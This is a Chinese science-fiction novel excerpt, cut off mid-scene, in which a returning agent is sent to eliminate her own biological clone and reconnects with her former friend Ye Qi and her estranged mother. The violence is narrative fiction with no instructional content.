《上司说我不能掉马甲》
1. 另有所指的任务
我时隔十年再一次踏入本属于我的地方。
沿着干净到反光的人行道,我走过人群密集但意外安静的商业区,有些不自在地扶了扶细框眼镜。
纯粹的单色植被点缀在整洁的角落。身边的人流路过那些绿色,我忍不住站定几秒,多看两眼。
由不得我近乡情怯、伤春悲秋,我还有个任务得先完成才有时间抒发多余的情感,不该停留。
十年前替公民找猫找狗的警察算不上是什么好工作,但绝对没有下降的空间,只有世俗意义上一片美好的未来。
特别是,比起我现在这份要遭受良心折磨的工作,那真是要好得多了。
生命管理局,档案中心,这是任务目标的当前所在地点。伴随着“为了生存,也为了生活”的语音宣传,我踏进这栋建筑。
“我需要档案复印件,请问我需要去哪一层?”我靠在前台,对着保持着完美微笑的前台说,“这是我的证件。”
前台收走了我的证件,登记完了才还给我:“档案处理在十八层,祝您今天愉快。”
我没理会这句问候,拿着证件赶上了即将关门的电梯。
我盯着楼层显示逐渐跳到十八。
“生命管理局”,这名字透露着科幻小说里乌托邦制度性反派似的气质。等电梯到位的时候,我不着调地想。再配合上看着就内部腐败的建筑,别的城市真是不知道要怎么编排这里。
但很遗憾,不是反派也是一种反转。我轻轻叹了一口气。至少如我所见,他们说得冠冕堂皇、难以置信的官方理由居然每一句都是真的。
“吴潍!人到了,你接待一下。”
电梯门开的时候,里面的哪位档案员喊了一声任务目标的名字。我迅速扯出一个“麻烦你了”的浅笑,跨出电梯。
我听见忙碌的机械发出提示音,看见最中央的大屏有不同的区块,展示着不同的档案分类。
“你好,需要复制档案是吗?”熟悉的长卷发落在声音主人的背后,柔和的声音对着我说,手里操作着我看不懂的屏幕,“稍等一下。现在其实可以直接在终端提出申请,不必线下来一趟的。”
我看着她有些愣神。
管理局不是说她是残次品吗?残次到哪里去了?这样看起来不是很完美吗?
很难说到底是嫉妒,还是欣赏地去看我的任务目标,我的生物复制体,我选择了最烂搭讪的方式:“你是档案管理员?”
她眨了眨和我一模一样的绿眼睛,似乎对我的问题感到十分困惑,笑了一声:“我在这工作,当然是管理员了。”
前线转文职,明升暗降。我迅速收集信息,以前这种任务我都是当辅助,现在轮到自己身上反而有些奇怪。十年没出前线,对我一点戒心都没有,看来,这即将是我干活最轻松的一次。
管理局的这个决定可以理解,当年“人类异常信仰案件”之后,我,不对,我这个基因组就安分不下来,调职是很明智的决定。
迅速回到车上,草草扫一眼管理局给我安了什么假身份,又把这份一半是托词的档案扔在副驾驶上,实体纸张飞出夹层,乱糟糟地洒了一整个座位。
但我还是有些说不清道不明的情绪。
嫉妒?仇恨?有,但也没有那么多,综合下来,反而有几分奇异的“有意思”。
我都不知道我还有在座位上一坐一整天的潜能。靠在椅背上,顺手把眼镜扔在后座,先去目标居住地附近踩踩点,挑个合适的地方做做准备,顺便看看母亲。
曾经熟悉的路线几乎没有变化,那些如出一辙的独栋居住房屋也毫无变化。曾经魂牵梦绕的景色在我视野里飞驰着,但我无暇去欣赏,最后,把车停在曾经的家对面。
门口种下的一串双色月季还在开放。这个品种的月季相当昂贵且难找,仅次于专供生命管理局的纯色月季。托了好几个人,我花了将近半年的薪水,才把它带回家。
我忍不住莞尔,想起当时母亲看见这株双色月季又心疼又高兴的模样。作为家里的独女,自然会想把得到的一切的爱同样回敬给施予爱的人。
我在等吴潍下班,只需要远远地看一眼母亲露出拥抱另一个自己的微笑,我就有理由处理掉吴潍,完成任务,再去看管理局非要把我请回来做什么。
要是真就把我请回来做“档案管理员”的文职,我转头就回下层睡觉去。
但我没有等到,一直等到我不知何时睡去又惊醒,没有听见有人停车回来,也没有见到母亲。
不对,吴潍人呢?我有些恼火地拍了方向盘。上层环境太安静了,实在是催眠。
思考片刻,我决定下车,摁响门铃。确认铃响,我快速转移到那株茂密的月季背后。
确实是母亲开的门,排除搬家可能,排除管理局情报错误。
她原本深棕色的头发快变成了金色,潦草地扎在脑后。我透过叶子的罅隙去看母亲,试图转起来的思维最后还是一片空白。
她茫然而无措,声音和缓而困惑:“有人需要帮助吗?”
我下意识地张嘴,最后也只有一个口型。
她看不见我,没有经过训练的公民很难发现细微之处的变化。那株月季太茂密了,绿色到浓重的植被是天然掩体。
最后母亲摇了摇头,长长地叹气,最后关上了门。
职业不对,亲情错位。我不知道我怎么回到车上的,坐在驾驶位上,扶着方向盘。不知道是因为情报错误,还是因为不能真正见到母亲而有些茫然和郁闷。
该死的管理局。在下层不给我准确情报就算了,毕竟那地方街头死个人不算新鲜事。
在上层都没有准确情报?是等着我再闯一次管理局,把那些机密文件再翻出来看一眼吗?
我恶狠狠地威胁远在天边的上司。管理局当然不会犯这种低级错误,更不会把我请回来就为了耍我玩。
说到底,我有的是手段让管理局知道什么叫“请神容易送神难”。
我调出手环,重新检查了任务书。耍我一回我就狠狠敲一笔竹杠,有本事真把我终身监禁,杀了一了百了。
没有问题,每个字都是我认识的,语气风格也是管理局风格。我关掉手环,瞥见后视镜里有一辆车停在我车后方不远处。
车牌号有点眼熟,但我一时有些想不起来。遥远追查嫌犯的职业病让我下意识地启动车,试探一下对方是不是来追踪我的。
当然,概率不大。我刚到城市还没三小时呢,话都没跟人说上两句,管理局肯定会掩盖好的身份报告,哪里会有人专门追踪我?
我的车看起来很旧,我看起来很困,浑身上下散发着“靠近我我就杀了你”的气质,谁没事找我茬。
随便找了家饭店,设定自动巡航,我继续去琢磨管理局到底要我干什么。
假如管理局认为情报没错的话,那一定是获取情报的源头出了问题。
谁会把隐瞒一位档案管理员的居住地,还是特地向管理局隐瞒?十年过去,不至于管理局公信力降低成每个人的敌人吧?
那么,就是吴潍自己向管理局瞒住了?我感到有些棘手,又有些“不愧是我”的欣慰,真是诡异的感情。我得去查查她的底细。
但似乎也有点说不通,满城的无人机,管理局但凡验证一下就不会给我这份错误情报了。
唉,现在线索太少,再想也没有用。我看着后视镜那辆车不远不近地跟着我,迅速作结心里的推理。
不管是要处理吴潍,还是要找出管理局为什么会犯错,我都得要用个理由接近吴潍看看有什么问题。
当然,首先,得解决掉这条意料之外的小尾巴。
对方车看着发动机就比我高级那么七八年,用我的车甩掉它根本不现实。
我一边看地图,一边对着冷不丁出现堵路的车感到不耐烦。
城市公民能不能行行好,我在被人追呢。
连着两个想拐弯的路口都被堵死了,我再迟钝,也能意识到对方似乎在隐晦地把我引向某个地方。
身正不怕影子歪,把我当潜逃嫌疑人呢,但很显然,这是个彻头彻尾的误会。我干脆关了自动巡航,慢条斯理地手动驾驶,顺着对方的意思走。
拐了半天,最后的路通向的是一间鲜花仓库。
我卸掉腰间装备防止解释不清,把车停在停车位上,自己下车锁门,抬头看见显然是城市管理局的人示意我进仓库。
还得关起门来问?我思考着是不是应该抗议一下,但对方似乎不介意把我压进去。
我不熟悉现在的城市,也不熟悉现在的管理局,万一是上司亲自给我赔罪也说不定?不着边际地幻想着,半自愿半胁迫地被停车场的人压进仓库。
仓库里没有显式灯,周围的暗灯只能照亮周围铁架的轮廓,有很多堆叠的影子。
低温寒气扑面而来,我忍不住皱了眉头。
身后的人显然不愿意说话,我只好主动开口,对着空间里可能存在的第二个人对话:“警官,我急着回家给孩子做饭呢。”
“Wined·Caster,”对方喊着我伪造档案上的名字,“你哪来的家庭。”
既然喊我的不是代号“Woe”,也不是真名“吴潍”,那事情就好办多了。
不过,总感觉对方声音有点耳熟,是我以前的哪个同事?
“养猫也没写在管理局档案里。”我懒洋洋地顺着话题去说,“前两天还有个宠物犬重婚罪的案子,我把猫当孩子只能算过时爱好。”
对方似乎靠近了我几步。我下意识想摆架势,但手无寸铁,也没有严刑逼供的必要,强行压下这股冲动。
但对方不这么觉得。
身后的人一手抓向我的肩膀,我往旁边不留痕迹地跨出半步,顺手从铁架上摸出一朵,转手塞进对方手里。
那只手倒也没有一无所获,至少拿了朵花。
我是去了一趟管理局,不是越狱出来的好吗?
我用哄小孩的语气跟手里捏了朵花的人说:“不用谢,帮你拿了。”
拿着花的人带着口罩,我只能看见他狠狠地瞪了我一眼,似乎接到了什么指令,没有再攻击我。
看来是下属,那另一个女声就是头头了?
“有话问话,有事说事,我很愿
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意配合管理局行动。”我往先前问话的人所在的地方走了两步,“但我毕竟是移民,场面闹得太难看,对大家都很麻烦。”
一步,两步。我缓慢地走过第三个货架,感受到身后一阵明显的风。
迅速转身抓住来着的手腕,匕首的寒光几乎顺着刀锋刺进我的眼睛。对方熟悉的褐色眼睛翻滚着浓烈的情绪,记忆随之而来,我来不及再去感受。
匕首卡在半空中,对方空着的手握拳快速蓄力冲向我的肋下。我空着的手迅速下劈,对方的攻击偏移落空,抓住机会,我迅速抬腿,犹豫瞬间还是选择踹向对方小腿。
对方吃痛,稳不住身形往旁边一歪。我后撤两步,拉开距离。
“多说两句?”我试探性地问她,“我总得死个明白吧?单纯地看我不爽还是什么?”
“看你不爽。”
她的怒气不知从何而来,招招几乎处处直戳我的命门。一路挡,一路撤,最后愣是撞在铁架上,我眼见着那把匕首冲向我的脖子。
本想下蹲躲过,但我实在是厌烦,一把抓过她的手腕,再次让她偏移攻击方向,顺势转身压住她的手臂,抬起手肘击打她的手腕,迫使她放弃匕首。
她闷哼一声。手腕脱臼当然疼了,但我已经尽量控制力度了,祝她好运。
匕首落地瞬间,被我一脚踢进铁架下,很难再寻。
没等她借势再去锁我的脖子,我小腿往后一勾,放手,看她整个人仰面倒下去。
我没再让她爬起来,跪压在她身上,甩出极少用到的左臂匕首,抵在她的脖子上。
“我的仇人可能有点多。”我一把抓住她没有脱臼的那只手,压在她的胸口,“给个提示?”
她冷笑一声:“你杀了她。”
“我没杀过人。”我有些头疼,在上层我还什么都没做呢,“你又不是没看过我的档案。”
“你怎么敢拿走?你怎么敢侮辱她?”
她情绪激动了起来,在我手底下挣扎着要起身,我不得不退了几分,防止真的伤到她的脖子。
拿走什么?侮辱谁?我干活很有人道主义的,不要污蔑我:“操,你到底在说什么?”
“你别装傻!”
她不知道从哪里来的力气,硬生生挣脱开我的控制,一把反扑过我,掐着我的脖子压在地上。
没等我给出点反应,她忽然又松了力气,没有再试图掐死我。
她的眼泪一串一串地落在我的脸颊上,脖子上。低温鲜花仓库让本温热的眼泪冷得像冰块,冻得我有些颤栗。
“你到底想问什么?”我深深地叹气,“我知道我刚来城市,被拦下来质询也很正常,但你,明显不是为了这个。”
“吴潍,”她终于打算说点什么,“遇到了什么?”
她是叶琦。我在心里迅速筛选出这个结论。这把匕首是她给的,如今在一个陌生人手上,能持有它的“吴潍”,八成遭遇不测了。
但她是怎么知道的?明显从跟踪我开始就知道了,而我没有向任何人展示过。
好吧,我承认我现在展示给她看,是有几分验证的意思。
“在管理局整理档案呢。”我对她说,“你要是想她,可以去十八楼,真的。”
“骗子。”叶琦的手紧了紧,“那个吴潍什么都不知道,真正的吴潍是失踪。你也是骗子。”
我抓着她的手,急忙挥手示意她我说不出话了。在她松手后,我猛地咳了一声。
“失踪?”我艰难地重复了这个词,“为什么?”
“是我在问你!”叶琦压低了声音,“你这种转移话题的手段跟她真像。你跟吴潍是什么关系?真正的那个。”
很显然,我除了承认我是“吴潍”以外,不管是朋友,还是杀了她的凶手,叶琦绝不会放过我。
朋友?徒弟?吴队哪里会有能把挚友礼物送人的可能,我只能是先靠近后杀的背叛者。复制体?管理局造出的复制体不会有叶琦的匕首。
姐妹?吴潍是独女;女儿?更是离谱,当年就是单身,无论如何女儿不会超过九岁;养女?这个倒是挺有可能,但哪有养女和养母一样大的。
被十年前的叶琦算计了。
我不知道是什么心情地笑了一声:“哈,叶琦,我直到今天都没有怀疑过你的匕首。”
“那好,我们来叙叙旧。”她的声音冷硬,但她松开了手,“坐标:671.87A,189.46Y。明晚十一点,暗号:信仰一直存在。”
听起来像什么邪教。我思索着。信仰,又是信仰。
十年前的人类异常信仰案我知道所有真相,十年后又卷土重来。有什么意义呢,单纯地享受那些复制体的付出不就好了?
我跪坐在地上,摸着脖子:“管理局在让你调查谁?”
“吴潍。”叶琦的语气我有些琢磨不透,“现在你也是我的调查对象。”
叶琦离开了,我目送她离开,自己趴下身,去摸那把丢失的匕首。
走得倒是潇洒利落,回头想起来要写匕首丢失检讨可别哭。
我顺利摸出匕首,站起身收拾好,回到车上。
2. 另有所指的任务
坐标需要特制的管理层坐标器解码,但我可懒得去闯曾经的办公室。随手从手环处划出个窗口,干脆手动计算起来。
和人类接触越少越好,我不想引起轰动。手指没停下计算,但我的思绪早就飞到了天外。
吴潍是调职,对叶琦来说怎么会是“失踪”呢?
因为匕首?还是因为我是自己都不知道的嫌疑人?难道这就是管理局给出错误情报的原因?
有人在关注外来者,关注异常的外来者,大概率,是管理局内部的人。
当然都没有证据,我想再多都是空中阁楼。
坐标解出来是个城市建筑夹缝。我有点意外,叶琦看来并不是很想和我叙旧,而是干脆把我拖进她的任务里。
叶琦说她的任务目标是吴潍,那种档案管理员有什么好怀疑的?我都不知道这种小角色,能在城市运转里能掀起多大风浪。
而且吴潍看起来天真又善良。我把窗口关掉,想着和吴潍的匆匆一面。她看起来富有激情,和我完全不一样。
我原来有那么善良的机会?我看着自己的手,右手拇指掌根有一些茧子。
我熟悉枪械,熟悉刀具,熟悉一切能够造成损伤的武器,熟悉各种情景的战术,熟悉如何带领队友完成一场危险任务——但我不熟悉如何捻起纸张、挨个点数,也不熟悉对陌生人露出真心而亲切的微笑。
基因组说我适合当管理者,于是我就接受了训练,成为了城市维护者的一份子。
如今的我看来,还是我运气不好,分在了城市内,没有参与城市外的核战清算战争。
要是干脆死在清算战争里,还有烈士的英名,现在死掉,我就是个无人问津的“生物复制体”。
哈,我连自己的身份都没有。十年前意气风发的时候,可没想到现在的狼狈。
离约定时间还有十三个小时,整整24个小时没有好好休息过,我应该抓紧时间睡一觉。
城市内的旅馆酒店生物信息认证严格,会留下生物信息,万一比对起来,就会暴露我是生物复制体。何况,管理局自己似乎都有很多麻烦,我确实信我上司那一帮人能解决这些小问题,我也不能冒任何潜在的风险。
只能找个偏离市中心的旅馆,干脆一觉睡到自然醒。
会周公路上,情感退潮,理智的礁石硌着我辗转反侧。看着无趣整洁的天花板,我再次反复回忆叶琦的情况。
叶琦坚信吴潍是失踪,如今到这种极端的谋杀举动,要么她查了十年,走上了我的老路;要么就有个该死的第三方在哄骗她。
不论如何,我回来可不是为了把她拖下水的。
睡完一觉起来,我得给自己找点正事干,好歹得搞明白为什么叶琦能追踪到我。
我本想去叶琦给的地方时带上眼镜的,但因为我的往后座一扔,横竖找不到了,只好放弃。
在副驾驶的隔板里拿出化妆品,用浓妆掩盖生物特征。主要是视觉上修改眼型和脸型,说是简单易容倒是更贴切。只要不去需要严格验证生物信息的地方,一般都不会出问题。
到了地方,才发现是个隐藏的地下酒吧。扫了一圈没发现叶琦的身影,又不爱喝酒,我干脆找了个角落,点了杯酒精度低的。
酒保们都不会多问,我一时间也有些分不清到底是真人还是复制体。尽管理智上知道,在上层的居民都只是人类。
我摸了摸额头,又去看时间:十一点零三。
叶琦迟到了。我想着,听见隔壁桌似乎在讨论“档案修改”的问题,酒也不喝了,调整姿势靠在椅背上,以更好偷听。
但不幸的是,重金属摇滚只能让顾客听清身边人的话语。刺激的酒精味和明显打氧的内部空间,每个人都在理智地兴奋着。大喊大叫,碰撞玻璃器皿,更有甚者甩着衣服踩上酒桌。旁人也听不清耍酒疯的主角说了什么。
没等我听出个所以然,叶琦落座在我对面:“点了什么?你这哪里是酒,完全就是甜水。”
好像昨天打的一架和失态完全没有发生过,好像只是叙旧一般。我没有点破,顺从地配合她。
“又不给你喝。”我把酒杯往自己方向一拉,把腰间属于她的匕首递回去,“这下就不用写检讨了。”
叶琦笑了一声,收回匕首,嘲讽似的回应我:“我现在这个级别不用写检讨。”
我一时有些语塞。叶琦升职了,已经不是以前那个丢失武器需要严格检查的普通下属了。
“你要叙什么旧?当年的案子和我,”我停顿了一下,“吴潍的去向都有保密协议,问了我也不能说。”
叶琦没在乎我的警告,也没在乎我临时修改的人称,点了两杯招牌,才看着我反驳:“不问这个,我早就过了执着这个问题的阶段了。”
我一偏头,翻了个不明显的白眼,把她称呼的“小甜水”一口饮尽,示意她继续说。
“你为什么回来了?”叶琦问我,语气很平淡,“你失踪了十年,总不能是保密任务结束了吧?”
“你有任务,我也有任务。”我耸肩,“这很难想到吗?”
叶琦点头承认我的话:“所以我才要问你。城里已经有‘吴潍’了,管理层不会犯这种低级错误。”
她的视线意有所指地转向入口,我也跟着她的视线望去。熟悉的长波浪在来人身后摇晃着,不知道是不是我的错觉,周围的声音安静了几秒。
“你是来杀她的,”叶琦下出肯定结论,“对吗?”
我收回视线,不置可否:“我为什么要杀她?我跟她有什么冲突吗?”
这倒是实话。我虽然还没摸清吴潍到底有什么问题,但目前所见,她的职业和家庭关系已经和我无关了,实质上,对我来说,吴潍就是个长得很“吴潍”的陌生人。
叶琦皱着眉头,似乎被我问倒了。
我抿了一口酒保拿来的招牌。一股木头味,现在的人类品味真奇怪。虽然不难喝,但我依然不喜欢。
“还有问题吗?”我摩挲着杯口,低头盯着我的指尖,“如果能让你好受一点,我先承认我是复制体。”
“说谎。”叶琦显然不信我,语气里不知道是埋怨还是控诉,“你这个样子和十年前一模一样。你有事情瞒着我,而且是打算一个人去做,哦不,闯一个大祸,然后再次逃之夭夭。”
叶琦把酒杯一推,语气夸张地配合肢体语言,不耐烦又无语地表演着。
没法反驳,那次行动对她而言就是背叛。
“不反对,但我有名字。”我停下手,抬头去看她,“现在的名字是‘Wined·Caster’,你又不是没看见。”
叶琦深深地叹气:“告诉我,就这一个问题。你为什么回来?”
我试图用沉默抗拒她的好奇心和关心。
叶琦没等我的回答,起身准备离开,路过我的时候见我坐着不动,一手把我捞起来,示意我跟在身后。
正巧,叶琦和吴潍都是我的调查对象,我顺从地跟在她身后。叶琦跟着吴潍,转进了酒吧后台。
说真的确实很是意外,那种明显天真呆傻的乖乖女怎么会来这种地方?好吧,我承认,这样说其实不太好,但谁让吴潍是我的复制体呢,我只是在评价我自己罢了。
走神地跟着叶琦拐进隔音包厢,我差点撞在她后背。
“吴潍,我有个朋友想要改档案。”叶琦一下拉过我,嘴里的朋友显然就是我,“你知道的,最近信仰问题更让人恐慌,她想把档案标记为不适合生命备份。”
冷不丁和吴潍再次对上视线,我平静地转开交汇,没有反驳。她似乎没有认出我,这让我松了一口气。
吴潍捂着胸口,不知道真心还是假意地撒娇:“叶琦,好久不见了。每次找我都是这种正事,我会有点伤心的。”
“没办法,大家工作都很忙嘛。”叶琦在我肩上的手紧了紧,仿佛在暗示我什么。
我放弃细想。但不得不说,看着自己和曾经的朋友用假模假样但熟稔的语气撒娇,实在是有点吃醋。
“我需要指出,生命备份不能被拒绝。”吴潍转入了正题,语气冷淡了不少,“这是城市选择的人类存续方式,我只能帮你把档案标记为延后备份。”
表面上来看,生命备份只是为了记录人类基因多样性,为了人类延续,为了在核战清算战争中证明自己的路线正确。
她眨着眼睛,微微歪了头,半是探究,半是在等待什么。叶琦捏了捏我的肩膀,疼得我有些控制不住表情。
“Wined·Caster。”我报出伪造档案上的名字,背后锤了叶琦一下,习惯性地加上玩笑话,“听起来很像酒鬼,是不是?”
吴潍没控制住表情,低头轻笑了一声,清了清嗓子:“我知道了。我们是走定尾制的,百分之四十打到这个账户,其余我再告诉你们。”
叶琦的通讯终端响了一声。她查看了一下,和吴潍对视:“好的,有事我们再联系。”
直到走出了地下酒吧,我有一堆问题,拉着叶琦的肩膀迫使她看着我:“你拿我当鱼饵?”
虽然这份档案本来就是伪造的,就算改了,也跟我本人没关系,但我还是觉得叶琦绝不会这么简单地利用我,去抓吴潍的灰产生意,看着就不像第一次。
“事已成定局了,Wined。”叶琦耸肩,调戏似的喊我假名,“你不吃醋?”
“哈?我吃什么——”我下意识反驳,最后强转了话题,“这跟你给我的暗号有什么关系?”
“我要是不给你这个暗号,你会来吗?”叶琦不笑了,认真而严肃地看着我,“你根本就不会来。”
叶琦说得对。如果不是因为那个指示性极强的暗号,我真的会放她鸽子。
吴潍一个小小档案管理员,能掀什么风浪?哪个人先死后死,哪个人老几岁年轻几岁,哪个人事情先办后办,能做什么呢?
但她绝对不只是因为这个。因为十年前的交易,吴潍一直在被监视,这种修改日期的操作
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只能算是小打小闹,不值得被叶琦特意追查。
“你回来是为了那个案子。”叶琦把我的沉默当做默认,转而去抓住我的手,“你到底知道些什么?这个案子到底有什么?”
那倒不一定为了案子。我在心里想着。还没确定你背后的第三方到底是谁,主要是我的小命和麻烦都可能更复杂,我得查明白。
“不要追查了。”我跟叶琦这么说,“你只需要汇报进展困难,然后扔到一边就可以了,没有人会管的。”
“那我更要查!”叶琦掷地有声,“我不能退让!”
我盯着她,仿佛看见曾经拦着我的亲近下属,只不过如今,是下属想跳火坑送死。
她眼里炽热的火让我有些不知所措,但我必须要去熄灭它:“我问你,叶琦,你为什么查案?”
“公平正义。”叶琦不假思索地回答我,非常符合城市价值观的说法。
我看着叶琦坚定到不容置喙的表情,梦话似的绕她:“假如,我是说假如,这个案子的公平正义,根本不适用于公平正义所涵盖的主体呢?”
叶琦皱着眉头,似乎听够了我说的胡言乱语:“你是说复制体?复制体本身就是生物工具,而且没有正式投入使用。”
我冲她摇头,露出“无可奉告”和“我就是投入使用的证据”两个意思,最后放弃说明和提示:“你当我吃醋了胡言乱语吧。”
不知道她有没有接收到我的信息,准备转身想离开,但被她抓住了手腕。她说:“你有地方住吗?”
我诚实回答她:“没有。”
叶琦拉着我的手更强硬了些,声音是不容置喙:“让你的车设置为自动跟随,在你任务完成之前,都住在我那里吧。”
“Wined·Caster,”我纠正她,“我不能叫那个名字。”
叶琦看起来失去了所有力气,不知道是对着我,还是对着我背后的、十年前的幽灵。
十年巨大的裂痕,我拼尽全力也无法弥补。叶琦像是捡小狗似的把我捡回家安生照顾着,直到我完成任务。
我躺在叶琦的客房床上,回忆着自己刚刚捕捉到的零碎信息:她有婚戒,家里茶几上还有裁去一半的三人合照。
我不知道该说什么。
为了自由,我抛弃了“吴潍”这个名字,这个名字所关联的职业、人际关系、财产,什么物质的精神的我全部放弃了,就为了那施舍般的自由。
我本不该缺席叶琦重要人生时刻的,她是我的战友、挚友,我本应该在她身边的。我开始怀疑我为了自由抛弃的一切,真的值得吗?
叶琦只知道管理层会用生命备份制造复制体,其他一概不知。在她眼里,或许只是不得不进行的应急方案,不需要过多关注,整个上层人都这样。
我知道事情远远没有那么简单。
第二天醒来,我洗漱好,收拾好一切,整理好表情,拉开客房房门。
“叶琦,你出任务的时候带上我吧。”我对着准备出门叶琦说,“算我求你的。”
我得跟着叶琦,看看她背后到底是什么。我真诚地看着她。但尾随这种选项在她身上根本行不通,倒不如利用我真正的迷茫让她带着我走。
叶琦的手扶在门框上,她的眼睛看着我,没什么多余的情绪。
“好的。”她的声音很平静,“我们走吧。”
坐在叶琦的副驾驶上,我开口问她:“你在查什么案子?”
“精神分裂。”叶琦说得很平淡,本想拿出文件给我看,又觉得不符合规定,最后放在了自己的腿上,“每年都会有探索辐射区的任务,总有家属觉得回来的人被替代了。”
“卡普格拉综合征?”我扯出个名词,“升官了也还是只管这种家长里短?”
叶琦斜了我一眼:“城市连偷窃都少有,大家该有的都有,能有什么大事?”
“说的也是。”我点头,“那你上门就是了解情况?”
她懒得回答我,把记录装置扔给我:“我带着你不符合规定,你跟在后面记录就行了。”
我没推脱,像是变成了十年前的新人一样,拿着笔和平板跟在导师后面跑。在叶琦停在母亲家门口的时候,我还有有点不可置信:“这是报案人?”
叶琦没急着回答我,我只好跟着她去家门口,曾经的家门口。路过双色月季还是多看了几眼,长得那么好,绝不是正常照顾就能做到的。
“吴烛女士,”叶琦敲门,对着来开门的母亲说,“我是生命管理局员工,来找您聊聊天。”
我下意识想躲,但没来得及。
吴烛看看叶琦,又把视线落在我身上短暂停留几分,最后回到叶琦身上,声音和缓而坚定:“我精神很稳定,我没有疯。”
“不用太警惕。”叶琦扶着门板,阻止吴烛关门,“只是日常关询而已,不请我们进去聊聊天吗?”
吴烛没有再推脱,放弃和叶琦再较劲门板,转身前往客厅:“进来吧。记得带上门。”
3. 另有所指的任务
最后一个进门,我关上门,看见门板背面挂着围巾和钥匙。最边上还有一张半个手掌大的实体照片,是我当年毕业时左手搂着母亲,右手搂着父亲拍的照片。
脸上那样灿烂的笑容已经很久没在我脸上出现了。我走神得厉害,直到被吴烛的声音拉回来。
“那位……喝点什么?”
“呃,我是Wined。”我收敛好情绪,转身走进客厅,坐在叶琦旁边,“白水就好。”
吴烛没有认出我,理所当然的。
去了下层,我第一件事是剪掉留了好几年的长发,然后拉直,戴上黑色的美瞳,修了眉毛,抛弃了一切有可能和曾经的“吴潍”扯上关系的细节。
在外人看来,我大概就是天天拉着一张脸,觉得全世界恨不得再核爆一次才会微笑的人。
“吴烛女士,我知道您和女儿僵持了那么多年,很难再改变想法,”叶琦叹气,看着微笑但冷漠的中年人,“但我们还是要争取一下。那就是您的女儿,前前后后的基因鉴定都做了十几回,您在顾虑什么呢?”
吴烛没有说话,十年了,要我也言尽于此了。我避开母亲的视线,把注意力放在手里的平板上。
我听见她说:“我只有一个孩子,是不是我的女儿,我比你们任何人都清楚。”
叶琦有些苦恼地扶额,端起茶杯喝了一口。斟酌着语气,我尽可能冷漠地开口问吴烛:“为什么您会下定这个结论?”
吴烛的视线透过客厅的窗,落在前院的小花园上:“她不喜欢双色月季。”
我的视线跟着吴烛的视线往前去。
是月季。
月季有层层叠叠的花瓣,每一层都有不同的颜色,似乎具备某种不可言明的规律。说起来,母亲才是不偏爱月季的那位。
她爱种花,享受过程,但我只喜欢花朵的成果,对日复一日地照顾弱小生物感到厌烦。
“因为这是她送给您的,她本人并不需要喜欢双色月季。”叶琦替吴潍回答,这种对话似乎经过了很多轮,“况且她本人要是不喜欢,干嘛还得种在家门口呢?”
“你们理解不了。”吴烛放弃解释,“她应该喜欢那些花。它们开成花墙了,但她连多余的一眼都没有。她不是我的女儿。”
所以双色月季开得那么灿烂,比其他品种的开得更加突出。母亲在用这种证明验证着,期盼着有朝一日“女儿”的归来。
这一趟探访的结果就是事情都没有进展。
倒也不能这么说。至少看得出来,吴烛除了不认自己的女儿以外,一切正常。
这是管理局的日常任务之一,关心人类精神状态,评估基因组给出的潜力还有没有可实现余地。
叶琦不再纠缠。毕竟十年了,这是次要任务,主要任务只是观察花园的成长状态,保证吴烛的精神状态良好。显然,后者们都是合格的。
离开前,我还是忍不住对母亲说:“月季开得很好,您女儿会很喜欢您的月季。”
她垂落的眼神忽然转向我,仔细地端详我。我怕她看出什么端倪,想微笑着道别。
吴烛拉住了我的手,看着我,似乎能看穿我拼尽全力的伪装:“喜欢就好。我想要的也不是女儿回来。她有自己的生活,我只想她……幸福。”
没有给我情绪缓冲的空间,吴烛放开了我,关上门,转瞬即逝的不安被浓重的哀伤取代。
我看见母亲过得还不错,但不知道父亲上哪去了。
也许是上班去了?但上门质询是提前通知的时间,如果没有意外事件,每个家庭里的成年人都应该在场。
或许有人会不愿意接受,但质询报告和城市基本待遇有一定关系,不应该不重视。
重新坐在副驾驶上,我等着叶琦开车。
她没有开车,看我怔愣地看着空气中的某点,最后给我递上了一张纸。然后什么都没说,拿走了我手里的记录平板。
我父亲不在,母亲似乎没预料到叶琦的到来,可以很简单地推断出:叶琦是特地带我过来的,并且在背后一定有额外的目的。
“叶琦,你想要做什么?”我擦掉无意识落下的眼泪,“你想我重启十年前的案子?”
叶琦似乎觉得一切铺垫够了,终于决定说出她的真正目的:“吴潍,你的复制体在毁掉你的生活。”
“那是她的生活,你得尊重她。”我不知道是意料之外,还是之内地回答,“她是档案管理员,不是我的生活。”
“我为什么要尊重复制体?”叶琦坚持叫我的本名,“吴潍,如果你是真正的吴潍,现在你可以回来,可以弥补曾经断开的一切,为什么不回来?”
因为没有意义。我不想谋杀一个看起来更好的自己,我不想对十年前的人解释我为什么调职又复职,为什么十年跟他们生疏又尴尬。
因为,我不想。
我逃避了这个问题:“我不是你想的那个吴潍。”
叶琦嗤笑一声,似乎是彻底失望,又像是找到了什么答案,双手拍在方向盘上:“行,可以,我不在乎。我告诉你,吴烛加入了组织。”
“什么组织都和我没关系。”我准备下车离开,但车门被叶琦彻底锁了,“放我走。”
“听我说完!”叶琦提高了声音,“是人类异常信仰组织。”
“不新鲜。”我评价,“十年前管理局给他们起的名字就这么接受了?真有意思。”
“他们都很迷茫。”叶琦盯着我看,试图从我脸上找出动摇的证据,“他们会测试怀疑对象,证明他们真的是自己爱的那个人,甚至会替别人证明。”
我懒得听这些陈词滥调,自己摁了解锁键,无意再和叶琦纠缠,拉开车门起身离开。
“吴——Wined·Caster!”叶琦在我身后喊我,“我也是!”
我迈出去的步子停下了,不可置信地回头看她:“你说什么?”
“我会杀掉那个吴潍。”叶琦的语气平淡又坚定,站在车外,视线越过车顶盯着我,“吴烛不会反对我,你的挚友也不会。你没有可顾虑的了。”
疯了?叶琦怎么会做出这种事?我匪夷所思地停在原地,搜肠刮肚地想要给她找借口开脱,又想要试图找点有逻辑的话说服她。
但我如鲠在喉。
“……我饿了。”我不想和叶琦闹僵,这是理念分歧,而非真正的背道而驰,“叶琦,我们等会再谈。”
我需要通过她接触到那个所谓的异常信仰组织,叶琦怎么会背叛曾经的自己?谋杀同类,将恶行包装为爱,这根本毫无意义并且远离了真相。
叶琦不能在这条路上走错,最后的真相只会像摧毁我一样,不,甚至更彻底地摧毁她。
我不能再丢下她了。
叶琦找了家饭店。
这座城市的生物科技发达,很多四百年前只有在零散记录上才有的植物,能在这里复现。至于能吃的种类味道如何,那就谁也不知道了。
“别看,快吃。”叶琦嫌我动作磨磨唧唧,就差端着勺子喂我嘴里了,“这家是人类厨师,技术已经没得挑了。”
我看着那一盘光滑泛光的纯色植被,迟迟下不去手,最后闭着眼睛尝了半口。这是我回到上层三天最好吃的一口,真是受够了超市的人类维生餐。
